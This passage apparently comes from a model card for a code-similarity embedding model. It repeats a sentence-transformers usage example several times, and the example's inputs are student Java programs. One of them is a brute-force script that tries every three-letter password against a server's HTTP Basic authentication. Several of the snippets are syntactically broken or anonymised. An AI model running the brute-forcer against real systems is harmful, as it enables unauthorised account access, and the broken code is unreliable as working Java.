    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
